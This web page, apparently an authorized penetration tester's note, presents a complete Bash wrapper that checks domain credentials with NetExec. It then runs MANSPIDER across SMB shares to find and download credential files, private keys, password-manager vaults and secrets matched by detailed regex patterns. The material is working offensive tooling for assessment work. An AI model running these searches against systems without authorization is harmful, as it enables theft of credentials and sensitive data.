← All field notes
Windows and SMBQuick reference

MANSPIDER Authenticated Search Wrapper

An interactive Bash wrapper that verifies SMB credentials, filters the target scope, and runs focused MANSPIDER searches with private log handling.

man.sh adds a guarded workflow around MANSPIDER. It accepts a target file, performs a small credential pre-check with NetExec, and sends only targets with an explicit SMB authentication success to the MANSPIDER runs.

Use it only with an approved scope and an account authorized to access that scope. The input file should contain one hostname, address, CIDR, or address range per line. Blank lines, comments, and text after the first whitespace-delimited field are ignored.

Why I built it

Before this wrapper, I ran these MANSPIDER searches manually: selecting profiles, entering options, checking targets, and repeating the same steps for each pass. This version works better for me because it keeps that sequence in one repeatable workflow and makes the authenticated target list explicit before the file searches begin.

The NetExec pre-check is also a lockout-control point. It tests the supplied credential against a small candidate set before sending it across the full scope. An explicit authentication rejection stops the wrapper, and an account-lockout response stops bulk validation and prevents MANSPIDER from starting. That reduces the chance of turning a mistyped password into a full-scope authentication attempt, but it cannot override the environment’s lockout policy or guarantee that an account will not lock.

Run the wrapper

The wrapper expects Bash, Python, NetExec, and MANSPIDER. Profile 10 also uses GNU date -d, and the script uses Bash features such as mapfile.

chmod 700 ./man.sh
umask 077
./man.sh '<SCOPE_FILE>'

Get the script

The complete wrapper is available below as a download and a reviewable source panel. Download it to the authorized operator host, review the defaults and selected profiles, then run it against the approved scope file.

DOWNLOADABLE BASH WRAPPER

Run the guarded workflow on your operator host.

Download the wrapper, review the selected profiles, and run it beside the authorized scope file. This page contains no scope, account, host, or credential input.

Download .sh
#!/usr/bin/env bash
set -uo pipefail

# ============================================================================
# MANSPIDER Production Wrapper
# ============================================================================
# Usage:
#   chmod 700 man.sh
#   ./man.sh /path/to/scope.txt
#
# Safety/behavior:
#   - Uses a small pre-scan credential verification before bulk NetExec checks.
#   - Runs one NetExec process for the full target list.
#   - Only explicit NetExec SMB authentication successes are sent to MANSPIDER.
#   - Stops bulk validation if an account-lockout response is observed.
#   - Does not use NetExec fail-limit counters for lockout decisions.
#   - Keeps MANSPIDER's upstream defaults unless the operator changes them.
#   - Redirects MANSPIDER's raw password-bearing logs to private temporary
#     storage, redacts the password, then archives sanitized logs.
# ============================================================================

LINE="========================================================================"
SCOPE="${1:-}"

# Upstream MANSPIDER defaults.
MS_THREADS=5
MS_MAXDEPTH=10
MS_MAXSIZE="10M"
DOWNLOAD_MATCHES=1
SHOW_MATCH_CONTENT=1
MS_VERBOSE=0
SHARE_MODE=1

# Wrapper defaults for the NetExec authentication pre-check.
NXC_THREADS=16
NXC_SMB_TIMEOUT=2
VERIFY_CANDIDATE_LIMIT=5
VERIFY_AUTH_FAILURE_LIMIT=1

DOMAIN=""
USERNAME=""
PASSWORD=""
MODIFIED_AFTER=""

NORMALIZED_SCOPE=""
FILTERED_SCOPE=""
RUNTIME_HOME=""
TMP_BASE=""

REAL_HOME=""
LOOT_DIR=""
LOG_DIR=""

SELECTED_SCANS=()
COMMON_MS_ARGS=()
NXC_AUTH_ARGS=()
MS_AUTH_ARGS=()

umask 077

section() {
    echo
    echo "$LINE"
    printf ' %s\n' "$1"
    echo "$LINE"
}

info() { printf '[*] %s\n' "$*"; }
ok()   { printf '[+] %s\n' "$*"; }
warn() { printf '[!] %s\n' "$*"; }
fail() { printf '[-] %s\n' "$*" >&2; exit 1; }

cleanup() {
    unset PASSWORD USERNAME DOMAIN

    if [[ -n "${NORMALIZED_SCOPE:-}" && -f "$NORMALIZED_SCOPE" ]]; then
        rm -f -- "$NORMALIZED_SCOPE"
    fi

    if [[ -n "${FILTERED_SCOPE:-}" && -f "$FILTERED_SCOPE" ]]; then
        rm -f -- "$FILTERED_SCOPE"
    fi

    if [[ -n "${RUNTIME_HOME:-}" && -d "$RUNTIME_HOME" ]]; then
        rm -rf -- "$RUNTIME_HOME"
    fi
}

on_interrupt() {
    echo
    warn "Interrupted. Cleaning up temporary files."
    exit 130
}

trap cleanup EXIT
trap on_interrupt INT TERM

need_cmd() {
    command -v "$1" >/dev/null 2>&1 || fail "Required command not found: $1"
}

is_positive_int() {
    [[ "$1" =~ ^[1-9][0-9]*$ ]]
}

is_valid_size() {
    [[ "$1" =~ ^([0-9]+([.][0-9]+)?|[.][0-9]+)[KkMmGgTt]?[Bb]?$ ]]
}

prompt_yes_no() {
    local prompt="$1"
    local default="$2"
    local answer

    while true; do
        if [[ "$default" == "yes" ]]; then
            read -rp "$prompt [Y/n]: " answer
            answer="${answer:-y}"
        else
            read -rp "$prompt [y/N]: " answer
            answer="${answer:-n}"
        fi

        case "${answer,,}" in
            y|yes) return 0 ;;
            n|no)  return 1 ;;
            *) echo "[-] Please answer y or n." ;;
        esac
    done
}

setup_temp_storage() {
    if [[ -n "${XDG_RUNTIME_DIR:-}" && -d "${XDG_RUNTIME_DIR}" && -w "${XDG_RUNTIME_DIR}" ]]; then
        TMP_BASE="$XDG_RUNTIME_DIR"
    elif [[ -d /dev/shm && -w /dev/shm ]]; then
        TMP_BASE="/dev/shm"
    else
        TMP_BASE="/tmp"
    fi

    RUNTIME_HOME="$(mktemp -d "${TMP_BASE}/manspider-wrapper.XXXXXX")" \
        || fail "Unable to create private temporary runtime directory."
    chmod 700 "$RUNTIME_HOME"
}

normalize_scope() {
    NORMALIZED_SCOPE="$(mktemp "${TMP_BASE}/manspider-scope.XXXXXX")" \
        || fail "Unable to create normalized scope file."
    chmod 600 "$NORMALIZED_SCOPE"

    # Expected input is one target per line. If extra columns are present,
    # only the first whitespace-delimited field is treated as the target.
    awk '
        {
            sub(/\r$/, "")
            if (NF && $1 !~ /^#/) {
                print $1
            }
        }
    ' "$SCOPE" | sort -u > "$NORMALIZED_SCOPE"

    [[ -s "$NORMALIZED_SCOPE" ]] || fail "No usable targets were found in the scope file."
}

verification_candidates() {
    python3 - "$NORMALIZED_SCOPE" "$VERIFY_CANDIDATE_LIMIT" <<'PY'
import ipaddress
import re
import sys

path = sys.argv[1]
limit = int(sys.argv[2])
seen = set()
out = []


def add(value):
    if value and value not in seen and len(out) < limit:
        seen.add(value)
        out.append(value)


def add_network(token):
    try:
        network = ipaddress.ip_network(token, strict=False)
    except ValueError:
        return False
    for host in network.hosts():
        add(str(host))
        if len(out) >= limit:
            break
    return True


def add_range(token):
    # 192.0.2.10-20
    m = re.fullmatch(r"(\d{1,3}\.\d{1,3}\.\d{1,3}\.)(\d{1,3})-(\d{1,3})", token)
    if m:
        prefix, start, end = m.group(1), int(m.group(2)), int(m.group(3))
        if 0 <= start <= end <= 255:
            for last in range(start, end + 1):
                candidate = f"{prefix}{last}"
                try:
                    ipaddress.ip_address(candidate)
                except ValueError:
                    continue
                add(candidate)
                if len(out) >= limit:
                    break
            return True

    # 192.0.2.10-192.0.2.20
    m = re.fullmatch(r"([^\s-]+)-([^\s-]+)", token)
    if m:
        try:
            start = ipaddress.ip_address(m.group(1))
            end = ipaddress.ip_address(m.group(2))
        except ValueError:
            return False
        if start.version == end.version and int(start) <= int(end):
            value = int(start)
            while value <= int(end) and len(out) < limit:
                add(str(ipaddress.ip_address(value)))
                value += 1
            return True

    return False


with open(path, "r", encoding="utf-8", errors="ignore") as handle:
    for raw in handle:
        token = raw.strip()
        if not token:
            continue

        if "/" in token and add_network(token):
            pass
        elif add_range(token):
            pass
        else:
            # Hostname or individual IP. NetExec will resolve/validate it.
            add(token)

        if len(out) >= limit:
            break

for candidate in out:
    print(candidate)
PY
}

show_defaults() {
    section "CURRENT DEFAULTS"
    cat <<EOF2

 MANSPIDER (upstream behavior)
   Download matching files      : Yes
   Show matching content        : Yes
   Threads                      : 5
   Maximum spider depth         : 10
   Maximum file size            : 10M
   Excluded shares              : C$, IPC$, ADMIN$, PRINT$
   Verbose/debug output         : No
   Loot directory               : ${LOOT_DIR}

 Authentication pre-check (wrapper)
   NetExec workers              : ${NXC_THREADS}
   SMB timeout                  : ${NXC_SMB_TIMEOUT}s
   Extra admin/SCM check        : Disabled
   Full-scope auth starts only  : After one verified SMB login

 Press Enter to keep these defaults. You can change them before scanning.
EOF2
}

configure_settings() {
    local value

    if prompt_yes_no "Use the settings shown above?" "yes"; then
        return
    fi

    section "CONFIGURE SETTINGS"

    read -rp "MANSPIDER threads [${MS_THREADS}]: " value
    value="${value:-$MS_THREADS}"
    is_positive_int "$value" || fail "MANSPIDER threads must be a positive integer."
    (( value <= 32 )) || fail "This wrapper limits MANSPIDER to 32 threads."
    MS_THREADS="$value"

    read -rp "Maximum spider depth [${MS_MAXDEPTH}]: " value
    value="${value:-$MS_MAXDEPTH}"
    is_positive_int "$value" || fail "Maximum depth must be a positive integer."
    MS_MAXDEPTH="$value"

    read -rp "Maximum file size [${MS_MAXSIZE}]: " value
    value="${value:-$MS_MAXSIZE}"
    is_valid_size "$value" || fail "Invalid size. Examples: 500K, 10M, 1G, .5M"
    MS_MAXSIZE="$value"

    if prompt_yes_no "Download matching files (MANSPIDER default)?" "yes"; then
        DOWNLOAD_MATCHES=1
    else
        DOWNLOAD_MATCHES=0
    fi

    if prompt_yes_no "Show matching file content in the terminal (MANSPIDER default)?" "yes"; then
        SHOW_MATCH_CONTENT=1
    else
        SHOW_MATCH_CONTENT=0
    fi

    if prompt_yes_no "Enable MANSPIDER verbose/debug output (-v)?" "no"; then
        MS_VERBOSE=1
    else
        MS_VERBOSE=0
    fi

    read -rp "Loot directory [${LOOT_DIR}]: " value
    LOOT_DIR="${value:-$LOOT_DIR}"

    cat <<'EOF2'

 Share handling
   1) MANSPIDER default: exclude C$, IPC$, ADMIN$, PRINT$
   2) Include C$:       exclude IPC$, ADMIN$, PRINT$
   3) Include all:      clear MANSPIDER's default share exclusions
EOF2

    read -rp "Share handling [1]: " value
    value="${value:-1}"
    [[ "$value" =~ ^[123]$ ]] || fail "Share handling must be 1, 2, or 3."
    SHARE_MODE="$value"

    read -rp "NetExec workers [${NXC_THREADS}]: " value
    value="${value:-$NXC_THREADS}"
    is_positive_int "$value" || fail "NetExec workers must be a positive integer."
    (( value <= 64 )) || fail "This wrapper limits NetExec to 64 workers."
    NXC_THREADS="$value"

    read -rp "NetExec SMB timeout seconds [${NXC_SMB_TIMEOUT}]: " value
    value="${value:-$NXC_SMB_TIMEOUT}"
    is_positive_int "$value" || fail "SMB timeout must be a positive integer."
    (( value <= 30 )) || fail "This wrapper limits SMB timeout to 30 seconds."
    NXC_SMB_TIMEOUT="$value"
}

show_scan_menu() {
    section "SELECT SEARCH PROFILES"
    cat <<'EOF2'

  #   Search profile
  --  ------------------------------------------------------------------
   1  Credential-related filenames
   2  Spreadsheets with "passw" in the filename
   3  Documents containing "passw"
   4  Interesting file extensions
   5  Finance-related files
   6  SSH keys by filename
   7  SSH/private keys by content
   8  Password-manager files
   9  Certificates / key stores
  10  Recently modified DOCX/XLSX/PDF files
  11  Custom credential / secret content search

 Presets
   R  Recommended: 1,3,4,5,11,9
   A  All profiles: 1-11

 Enter numbers in the order you want them run.
 Example: 1,3,4,5,11,9
EOF2
}

parse_selection() {
    local input token
    local -A seen=()

    SELECTED_SCANS=()
    read -rp "Selection [R]: " input
    input="${input:-R}"

    case "${input,,}" in
        r|recommended) input="1 3 4 5 11 9" ;;
        a|all)         input="1 2 3 4 5 6 7 8 9 10 11" ;;
        *)             input="${input//,/ }" ;;
    esac

    for token in $input; do
        [[ "$token" =~ ^([1-9]|10|11)$ ]] || fail "Invalid search profile: $token"
        if [[ -z "${seen[$token]+x}" ]]; then
            SELECTED_SCANS+=("$token")
            seen[$token]=1
        fi
    done

    ((${#SELECTED_SCANS[@]} > 0)) || fail "No search profiles selected."
}

scan_name() {
    case "$1" in
        1)  echo "Credential-related filenames" ;;
        2)  echo 'Spreadsheets with "passw" in filename' ;;
        3)  echo 'Documents containing "passw"' ;;
        4)  echo "Interesting file extensions" ;;
        5)  echo "Finance-related files" ;;
        6)  echo "SSH keys by filename" ;;
        7)  echo "SSH/private keys by content" ;;
        8)  echo "Password-manager files" ;;
        9)  echo "Certificates / key stores" ;;
        10) echo "Recently modified documents" ;;
        11) echo "Custom credential / secret content search" ;;
    esac
}

show_selected_scans() {
    section "SELECTED SEARCH PROFILES"
    local id
    for id in "${SELECTED_SCANS[@]}"; do
        printf ' %2s  %s\n' "$id" "$(scan_name "$id")"
    done
}

collect_credentials() {
    section "AUTHENTICATION"

    read -rp "Domain (blank if not required): " DOMAIN

    while [[ -z "$USERNAME" ]]; do
        read -rp "Username: " USERNAME
    done

    while [[ -z "$PASSWORD" ]]; do
        read -rsp "Password: " PASSWORD
        echo
        [[ -n "$PASSWORD" ]] || echo "[-] Password cannot be empty."
    done

    NXC_AUTH_ARGS=("--username=$USERNAME" "--password=$PASSWORD")
    MS_AUTH_ARGS=("--username=$USERNAME" "--password=$PASSWORD")

    if [[ -n "$DOMAIN" ]]; then
        NXC_AUTH_ARGS=("--domain=$DOMAIN" "${NXC_AUTH_ARGS[@]}")
        MS_AUTH_ARGS=("--domain=$DOMAIN" "${MS_AUTH_ARGS[@]}")
    fi

    echo
    printf '[+] Domain   : %s\n' "${DOMAIN:-<none>}"
    printf '[+] Username : %s\n' "$USERNAME"
    printf '[+] Password : [hidden]\n'
}

classify_verification_output() {
    local data
    data="$(cat)"

    if grep -Fq 'STATUS_ACCOUNT_LOCKED_OUT' <<< "$data"; then
        echo "LOCKED"
    elif awk '$1 ~ /SMB/ && $5 ~ /\[\+\]/ { found=1 } END { exit !found }' <<< "$data"; then
        echo "SUCCESS"
    elif grep -Eqi 'STATUS_NO_LOGON_SERVERS' <<< "$data"; then
        echo "NOLOGONSERVER"
    elif grep -Eqi 'timed out|NETBIOS.*timed out|connection.*timed out|connection refused|connection reset|No route to host|Network is unreachable|Error occurs while reading from remote|Broken pipe' <<< "$data"; then
        echo "TRANSPORT"
    elif grep -Eqi 'STATUS_LOGON_FAILURE|STATUS_WRONG_PASSWORD|STATUS_PASSWORD_EXPIRED|STATUS_PASSWORD_MUST_CHANGE|STATUS_ACCOUNT_DISABLED|STATUS_ACCOUNT_EXPIRED|STATUS_INVALID_LOGON_HOURS|STATUS_INVALID_WORKSTATION|STATUS_LOGON_TYPE_NOT_GRANTED|LOGON_FAILURE' <<< "$data"; then
        echo "AUTHFAIL"
    else
        echo "INDETERMINATE"
    fi
}

validate_credentials_once() {
    local target="$1"
    local output classification

    output="$(
        netexec \
            -t 1 \
            --no-progress \
            smb "$target" \
            "${NXC_AUTH_ARGS[@]}" \
            --smb-timeout "$NXC_SMB_TIMEOUT" \
            --no-admin-check \
            2>&1
    )"

    classification="$(printf '%s\n' "$output" | classify_verification_output)"

    case "$classification" in
        SUCCESS)       return 0 ;;
        LOCKED)        return 20 ;;
        AUTHFAIL)      return 21 ;;
        NOLOGONSERVER) return 22 ;;
        TRANSPORT)     return 23 ;;
        *)             return 24 ;;
    esac
}

verify_credentials_before_bulk_check() {
    local candidate rc
    local attempts=0
    local auth_failures=0
    local success=0
    local -a candidates=()

    section "PRE-SCAN CREDENTIAL VERIFICATION"
    cat <<'EOF2'

 Before checking the full target list, the script verifies the supplied
 credentials against a small number of scope targets, one at a time.

 This protects against accidentally sending a mistyped password to the
 entire target list. Timeouts and unavailable logon servers are treated as
 connectivity/infrastructure problems, not as proof that the password is bad.

 The full NetExec validation starts only after one successful SMB login.
EOF2
    echo

    mapfile -t candidates < <(verification_candidates)
    ((${#candidates[@]} > 0)) || fail "No usable targets are available for credential verification."

    for candidate in "${candidates[@]}"; do
        ((attempts+=1))
        printf '[*] Testing %-30s ... ' "$candidate"

        validate_credentials_once "$candidate"
        rc=$?

        case "$rc" in
            0)
                echo "AUTHENTICATION SUCCESSFUL"
                success=1
                break
                ;;
            20)
                echo "ACCOUNT LOCKED OUT"
                fail "An account-lockout response was reported. Bulk validation will not start."
                ;;
            21)
                ((auth_failures+=1))
                printf 'AUTHENTICATION REJECTED (%d/%d)\n' "$auth_failures" "$VERIFY_AUTH_FAILURE_LIMIT"
                if (( auth_failures >= VERIFY_AUTH_FAILURE_LIMIT )); then
                    fail "The supplied credentials were explicitly rejected. Check the domain, username, and password."
                fi
                ;;
            22)
                echo "NO LOGON SERVER"
                ;;
            23)
                echo "TIMEOUT / CONNECTION ERROR"
                ;;
            24)
                echo "INDETERMINATE"
                ;;
        esac
    done

    (( success == 1 )) || fail "Could not confirm the credentials on the tested targets. Full-scope authentication was not started."

    echo
    ok "Credentials verified on one SMB target."
    ok "Proceeding to full target validation."
}

bulk_precheck() {
    local valid=0 failed=0 locked=0 transport=0 no_logon=0 other=0
    local raw proto host port hostlabel marker remainder status
    local nxc_pid nxc_fd nxc_rc

    FILTERED_SCOPE="$(mktemp "${TMP_BASE}/manspider-authenticated.XXXXXX")" \
        || fail "Unable to create authenticated-target file."
    chmod 600 "$FILTERED_SCOPE"

    section "FULL TARGET AUTHENTICATION CHECK"
    printf ' NetExec workers : %s\n' "$NXC_THREADS"
    printf ' SMB timeout     : %ss\n' "$NXC_SMB_TIMEOUT"
    printf ' Admin/SCM check : disabled\n'
    echo
    info "Only explicit SMB authentication successes will be sent to MANSPIDER."
    info "Raw NetExec credential output is not written to disk or echoed to the terminal."
    echo

    exec {nxc_fd}< <(
        exec netexec \
            -t "$NXC_THREADS" \
            --no-progress \
            smb "$NORMALIZED_SCOPE" \
            "${NXC_AUTH_ARGS[@]}" \
            --smb-timeout "$NXC_SMB_TIMEOUT" \
            --no-admin-check \
            2>&1
    )
    nxc_pid=$!

    while IFS= read -r raw <&$nxc_fd; do
        # NetExec's normal SMB result layout is:
        # SMB <host> <port> <hostname> [+/ -] <credential/status...>
        # ANSI color sequences may wrap individual fields, so status tests use
        # substring matching rather than exact equality.
        read -r proto host port hostlabel marker remainder <<< "$raw"

        if [[ "$raw" == *"STATUS_ACCOUNT_LOCKED_OUT"* ]]; then
            printf '[!] %-30s ACCOUNT LOCKED OUT\n' "${host:-unknown}"
            locked=1
            kill -TERM "$nxc_pid" 2>/dev/null || true
            break
        fi

        if [[ "${proto:-}" == *"SMB"* && "${marker:-}" == *"[+]"* ]]; then
            printf '%s\n' "$host" >> "$FILTERED_SCOPE"
            printf '[+] %-30s AUTHENTICATION SUCCESSFUL\n' "$host"
            ((valid+=1))
            continue
        fi

        if [[ "$raw" == *"STATUS_NO_LOGON_SERVERS"* ]]; then
            printf '[~] %-30s NO LOGON SERVER\n' "${host:-unknown}"
            ((no_logon+=1))
            continue
        fi

        if [[ "$raw" =~ [Tt]imed[[:space:]]out ]] || \
           [[ "$raw" =~ [Cc]onnection[[:space:]]refused ]] || \
           [[ "$raw" =~ [Cc]onnection[[:space:]]reset ]] || \
           [[ "$raw" == *"Network is unreachable"* ]] || \
           [[ "$raw" == *"No route to host"* ]]; then
            printf '[~] %-30s TRANSPORT / TIMEOUT\n' "${host:-unknown}"
            ((transport+=1))
            continue
        fi

        if [[ "${proto:-}" == *"SMB"* && "${marker:-}" == *"[-]"* ]]; then
            status="$(grep -Eo 'STATUS_[A-Z0-9_]+' <<< "$raw" | head -n1 || true)"
            [[ -n "$status" ]] || status="AUTHENTICATION / SMB FAILURE"
            printf '[-] %-30s %s\n' "${host:-unknown}" "$status"
            ((failed+=1))
            continue
        fi

        if [[ "$raw" == *"ERROR"* || "$raw" == *"Exception"* ]]; then
            printf '[~] %-30s OTHER / INDETERMINATE\n' "${host:-unknown}"
            ((other+=1))
        fi
    done

    wait "$nxc_pid"
    nxc_rc=$?
    exec {nxc_fd}<&-

    if (( locked == 1 )); then
        fail "An account-lockout response was observed. MANSPIDER will not start."
    fi

    sort -u -o "$FILTERED_SCOPE" "$FILTERED_SCOPE"
    valid="$(wc -l < "$FILTERED_SCOPE" | tr -d ' ')"

    echo
    echo "$LINE"
    printf ' Authenticated targets      : %s\n' "$valid"
    printf ' Explicit SMB/auth failures : %s\n' "$failed"
    printf ' No logon server            : %s\n' "$no_logon"
    printf ' Transport/timeouts         : %s\n' "$transport"
    printf ' Other/indeterminate        : %s\n' "$other"
    printf ' NetExec exit code          : %s\n' "$nxc_rc"
    echo "$LINE"

    (( valid > 0 )) || fail "No explicit SMB authentication successes were found. MANSPIDER will not start."
}

confirm_manspider_run() {
    local count
    count="$(wc -l < "$FILTERED_SCOPE" | tr -d ' ')"
    echo
    if ! prompt_yes_no "Run the selected MANSPIDER profiles against ${count} authenticated target(s)?" "yes"; then
        info "Cancelled by operator."
        exit 0
    fi
}

build_common_manspider_args() {
    mkdir -p -- "$LOOT_DIR" "$LOG_DIR"
    chmod 700 "${REAL_HOME}/.manspider" "$LOOT_DIR" "$LOG_DIR" 2>/dev/null || true

    COMMON_MS_ARGS=(
        "${MS_AUTH_ARGS[@]}"
        "--threads=$MS_THREADS"
        "--maxdepth=$MS_MAXDEPTH"
        "--max-filesize=$MS_MAXSIZE"
        "--loot-dir=$LOOT_DIR"
    )

    (( DOWNLOAD_MATCHES == 0 )) && COMMON_MS_ARGS+=("--no-download")
    (( SHOW_MATCH_CONTENT == 0 )) && COMMON_MS_ARGS+=("--quiet")
    (( MS_VERBOSE == 1 )) && COMMON_MS_ARGS+=("--verbose")

    case "$SHARE_MODE" in
        1)
            # Omit the flag so MANSPIDER keeps its upstream default blacklist.
            ;;
        2)
            COMMON_MS_ARGS+=("--exclude-sharenames" 'IPC$' 'ADMIN$' 'PRINT$')
            ;;
        3)
            # Current MANSPIDER defines --exclude-sharenames with nargs="*".
            # Passing the flag with no share values clears the default list.
            COMMON_MS_ARGS+=("--exclude-sharenames")
            ;;
    esac
}

archive_sanitized_manspider_logs() {
    local src_dir="${RUNTIME_HOME}/.manspider/logs"
    [[ -d "$src_dir" ]] || return 0

    mkdir -p -- "$LOG_DIR"
    chmod 700 "$LOG_DIR" 2>/dev/null || true

    MANSPIDER_REDACT_SECRET="$PASSWORD" python3 - "$src_dir" "$LOG_DIR" <<'PY'
import os
import pathlib
import sys

src_dir = pathlib.Path(sys.argv[1])
dst_dir = pathlib.Path(sys.argv[2])
secret = os.environ.get("MANSPIDER_REDACT_SECRET", "")

dst_dir.mkdir(parents=True, exist_ok=True)

for src in sorted(src_dir.glob("*.log")):
    try:
        text = src.read_text(encoding="utf-8", errors="replace")
    except OSError:
        continue

    if secret:
        text = text.replace(secret, "[REDACTED]")

    dest = dst_dir / src.name
    counter = 1
    while dest.exists():
        dest = dst_dir / f"{src.stem}_{counter}{src.suffix}"
        counter += 1

    dest.write_text(text, encoding="utf-8")
    os.chmod(dest, 0o600)

    try:
        src.unlink()
    except OSError:
        pass
PY
}

run_manspider() {
    local name="$1"
    shift
    local rc line

    section "$name"

    # HOME is redirected so MANSPIDER's raw argv log (which currently contains
    # the password) is written only to private temporary storage. Loot still
    # goes to the configured persistent loot directory via --loot-dir.
    HOME="$RUNTIME_HOME" manspider \
        "$FILTERED_SCOPE" \
        "${COMMON_MS_ARGS[@]}" \
        "$@" \
        2>&1 |
    while IFS= read -r line; do
        if [[ "$line" == *"MANSPIDER command executed:"* ]]; then
            echo "[+] MANSPIDER command executed: [credentials/arguments redacted by wrapper]"
        else
            printf '%s\n' "$line"
        fi
    done

    rc="${PIPESTATUS[0]}"

    archive_sanitized_manspider_logs || warn "Unable to archive sanitized MANSPIDER logs. Raw temporary logs will be deleted during cleanup."

    if (( rc == 0 )); then
        ok "Completed: $name"
    else
        warn "MANSPIDER exited with code $rc: $name"
    fi

    # Continue with remaining selected profiles even if this profile fails.
    return 0
}

run_scan_id() {
    local id="$1"

    case "$id" in
        1)
            run_manspider \
                "Profile 1 - Credential-related filenames" \
                --filenames passw user admin account network login logon cred
            ;;

        2)
            run_manspider \
                'Profile 2 - Spreadsheets with "passw" in filename' \
                --filenames passw \
                --extensions xlsx csv
            ;;

        3)
            run_manspider \
                'Profile 3 - Documents containing "passw"' \
                --content passw \
                --extensions xlsx csv docx pdf
            ;;

        4)
            run_manspider \
                "Profile 4 - Interesting file extensions" \
                --extensions \
                    bat com vbs ps1 psd1 psm1 pem key rsa pub reg pfx \
                    cfg conf config vmdk vhd vdi dit
            ;;

        5)
            run_manspider \
                "Profile 5 - Finance-related files" \
                --dirnames \
                    bank financ payable payment reconcil remit voucher vendor eft swift \
                --filenames '[0-9]{5,}'
            ;;

        6)
            run_manspider \
                "Profile 6 - SSH keys by filename" \
                --extensions ppk rsa pem ssh \
                --or-logic \
                --filenames id_rsa id_dsa id_ed25519
            ;;

        7)
            run_manspider \
                "Profile 7 - SSH/private keys by content" \
                --extensions '' \
                --content 'BEGIN .{1,10} PRIVATE KEY'
            ;;

        8)
            run_manspider \
                "Profile 8 - Password-manager files" \
                --extensions \
                    kdbx kdb 1pif agilekeychain opvault lpd dashlane psafe3 \
                    enpass bwdb msecure stickypass pwm rdb safe zps pmvault \
                    mywallet jpass pwmdb
            ;;

        9)
            run_manspider \
                "Profile 9 - Certificates / key stores" \
                --extensions \
                    pfx p12 pkcs12 pem key crt cer csr jks keystore keys der
            ;;

        10)
            if [[ -z "$MODIFIED_AFTER" ]]; then
                while true; do
                    read -rp "Modified-after date [2026-01-01]: " MODIFIED_AFTER
                    MODIFIED_AFTER="${MODIFIED_AFTER:-2026-01-01}"
                    if [[ "$MODIFIED_AFTER" =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}$ ]] && \
                       date -d "$MODIFIED_AFTER" '+%F' >/dev/null 2>&1; then
                        break
                    fi
                    echo "[-] Enter a valid date in YYYY-MM-DD format."
                done
            fi

            run_manspider \
                "Profile 10 - Recently modified documents" \
                --extensions docx xlsx pdf \
                --modified-after "$MODIFIED_AFTER"
            ;;

        11)
            run_manspider \
                "Profile 11 - Custom credential / secret content search" \
                --extensions \
                    '' env txt ini cfg conf config cnf xml reg ps1 psm1 psd1 \
                    bat cmd vbs yml yaml json toml properties csv xlsx docx pdf pptx \
                --content \
                    'cpassword\s*=' \
                    'DefaultPassword.{0,40}=' \
                    '(?:password|passwd|pwd)(?:["\x27])?\s*[:=]' \
                    '(?:client[_-]?secret|api[_-]?key|secret[_-]?key)(?:["\x27])?\s*[:=]' \
                    'connection[_\s]*string(?:["\x27])?\s*[:=]' \
                    '(?s)ConvertTo-SecureString.{0,200}-AsPlainText' \
                    '(?s)cmdkey.{0,300}/pass:' \
                    '(?s)net\s+use.{0,300}/user:' \
                    '(?s)schtasks.{0,300}/rp\s+' \
                    '(?s)<Password(?:\s[^>]*)?>.{0,500}<Value>.{1,200}</Value>' \
                    '-----BEGIN (?:RSA |EC |OPENSSH )?PRIVATE KEY-----'
            ;;
    esac
}

main() {
    [[ -n "$SCOPE" ]] || fail "Usage: $0 /path/to/scope.txt"
    [[ -f "$SCOPE" ]] || fail "Scope file not found: $SCOPE"
    [[ -s "$SCOPE" ]] || fail "Scope file is empty: $SCOPE"

    need_cmd python3
    need_cmd netexec
    need_cmd manspider
    need_cmd awk
    need_cmd grep
    need_cmd sort
    need_cmd mktemp
    need_cmd date
    need_cmd rm

    REAL_HOME="${HOME:-$(python3 - <<'PY'
from pathlib import Path
print(Path.home())
PY
)}"
    LOOT_DIR="${REAL_HOME}/.manspider/loot"
    LOG_DIR="${REAL_HOME}/.manspider/logs"

    setup_temp_storage
    normalize_scope

    section "MANSPIDER PRODUCTION WRAPPER"
    printf ' Scope file         : %s\n' "$SCOPE"
    printf ' Normalized targets : %s\n' "$(wc -l < "$NORMALIZED_SCOPE" | tr -d ' ')"

    show_defaults
    configure_settings

    show_scan_menu
    parse_selection
    show_selected_scans

    collect_credentials
    verify_credentials_before_bulk_check
    bulk_precheck
    confirm_manspider_run

    build_common_manspider_args

    local id
    for id in "${SELECTED_SCANS[@]}"; do
        run_scan_id "$id"
    done

    section "COMPLETE"
    printf ' Authenticated targets : %s\n' "$(wc -l < "$FILTERED_SCOPE" | tr -d ' ')"
    printf ' Search profiles       : %s\n' "${SELECTED_SCANS[*]}"
    printf ' Loot directory        : %s\n' "$LOOT_DIR"
    printf ' Sanitized logs        : %s\n' "$LOG_DIR"
    echo
    info "Temporary scope files and unsanitized MANSPIDER logs are removed on exit."
}

main "$@"
SHA-2565e5078fd709fe0cd0fce8013f38d020810c67f0d6a86569c6bc8490e6e3257a8

The interactive flow lets the operator adjust MANSPIDER threads, depth, maximum file size, downloads, content display, loot location, share exclusions, and NetExec timeout settings. The default search preset is:

1,3,4,5,11,9

What the wrapper checks

  1. The scope is normalized and deduplicated into a private temporary file.
  2. A small set of candidate targets is tested one at a time. An explicit authentication rejection stops the run; an account-lockout response stops it immediately.
  3. NetExec validates the full normalized scope without the admin/SCM check. Only explicit SMB successes are written to the filtered target file.
  4. The selected MANSPIDER profiles run sequentially against that filtered file.

The profiles cover credential-related filenames, password-bearing document content, interesting extensions, finance-related files, SSH and private keys, password-manager files, certificates and key stores, recently modified documents, and custom credential or secret patterns.

Follow-up review

After MANSPIDER finishes, pass the collected loot to Secret Scanner for a second review. MANSPIDER locates and downloads candidate files; Secret Scanner can run its configured detection engines over that filesystem tree and produce normalized findings. The Secret Scanner source is on GitHub. Keep both the loot and the follow-up results protected as sensitive evidence.

Output and cleanup

By default, MANSPIDER downloads matches, displays matching content, uses five threads, scans to depth 10, and limits files to 10M. Loot is written to ~/.manspider/loot.

The wrapper redirects MANSPIDER’s HOME to a private temporary directory so its raw command log does not remain in the normal home directory. Before logs are archived under ~/.manspider/logs, the supplied password is replaced with [REDACTED]. Temporary scope files and unsanitized logs are removed on exit.

Treat both loot and sanitized logs as credential-bearing assessment evidence. Review the scope and the selected profiles before confirming the run; the content searches can locate passwords, private keys, tokens, and other secrets.